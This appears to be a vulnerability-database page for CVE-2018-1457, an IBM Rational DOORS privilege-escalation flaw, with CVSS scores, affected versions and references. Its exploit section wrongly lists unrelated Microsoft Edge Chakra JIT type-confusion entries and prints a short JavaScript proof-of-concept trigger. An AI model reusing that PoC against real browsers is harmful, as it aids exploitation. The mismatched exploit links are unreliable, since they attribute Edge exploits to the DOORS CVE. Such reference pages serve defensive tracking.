CVE-2018-1457
published 2018-06-27CVE-2018-1457: An undisclosed vulnerability in IBM Rational DOORS 9.5.1 through 9.6.1.10 application allows an attacker to gain DOORS administrator privileges. IBM X-Force…
PriorityP346critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
EPSS
2.52%
83.0th percentile
An undisclosed vulnerability in IBM Rational DOORS 9.5.1 through 9.6.1.10 application allows an attacker to gain DOORS administrator privileges. IBM X-Force ID: 140208.
Affected
43 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| ibm | engineering_requirements_management_doors | 9.5.1 – 9.5.1.9 | — |
| ibm | engineering_requirements_management_doors | 9.5.2 – 9.5.2.8 | — |
| ibm | engineering_requirements_management_doors | 9.6.0 – 9.6.0.7 | — |
| ibm | engineering_requirements_management_doors | 9.6.1 – 9.6.1.10 | — |
| ibm | engineering_requirements_management_doors | 9.7.0 – 9.7.2 | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
| ibm | rational_doors | — | — |
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv3.08.1HIGHCVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Microsoft Edge Chakra JIT - 'Array.prototype.reverse' Array Type Confusion
exploitdb·2018-02-15
CVE-2018-0835 Microsoft Edge Chakra JIT - 'Array.prototype.reverse' Array Type Confusion
Microsoft Edge Chakra JIT - 'Array.prototype.reverse' Array Type Confusion
---
/*
This is simillar to the previous issue 1457. But this time, we use Array.prototype.reverse.
Array.prototype.reverse can be inlined and may invoke EnsureNonNativeArray to convert the prototype of "this" to a Var array.
Call flow: JavascriptArray::EntryReverse -> FillFromPrototypes -> ForEachOwnMissingArrayIndexOfObject -> EnsureNonNativeArray
To make that happen, the prototype must be a native array. But this usually can't be fulfilled, since once it's set as a prototype, it gets converted to a Var array. To bypass this, we can use Array.prototype.sort.
Here's a snippet of JavascriptArray::EntrySort.
arr = JavascriptNativeFloatArray::ConvertToVarArray((JavascriptNativeFloatArray*)arr);
JS_REENTRANT(jsReen
Exploit-DB
Microsoft Edge Chakra JIT - 'NewScObjectNoCtor' Array Type Confusion
exploitdb·2018-02-15
CVE-2018-0838 Microsoft Edge Chakra JIT - 'NewScObjectNoCtor' Array Type Confusion
Microsoft Edge Chakra JIT - 'NewScObjectNoCtor' Array Type Confusion
---
/*
This is similar to the previous issues 1457, 1459 (MSRC 42551, MSRC 42552).
If a JavaScript function is used as a consturctor, it sets the new object's "__proto__" to its "prototype". The JIT compiler uses NewScObjectNoCtor instructions to perform it, but those instructions are not checked by CheckJsArrayKills which is used to validate the array information.
PoC:
*/
function inlinee() {
}
function opt(arr) {
arr[0] = 1.1;
new inlinee();
arr[0] = 2.3023e-320;
}
function main() {
let arr = [1.1];
for (let i = 0; i < 10000; i++) {
inlinee.prototype = {};
opt(arr);
}
inlinee.prototype = arr;
opt(arr);
print(arr);
}
main();
No writeups or analysis indexed.
http://www.ibm.com/support/docview.wss?uid=swg22017436http://www.securityfocus.com/bid/104573https://exchange.xforce.ibmcloud.com/vulnerabilities/140208http://www.ibm.com/support/docview.wss?uid=swg22017436http://www.securityfocus.com/bid/104573https://exchange.xforce.ibmcloud.com/vulnerabilities/140208
2018-06-27
Published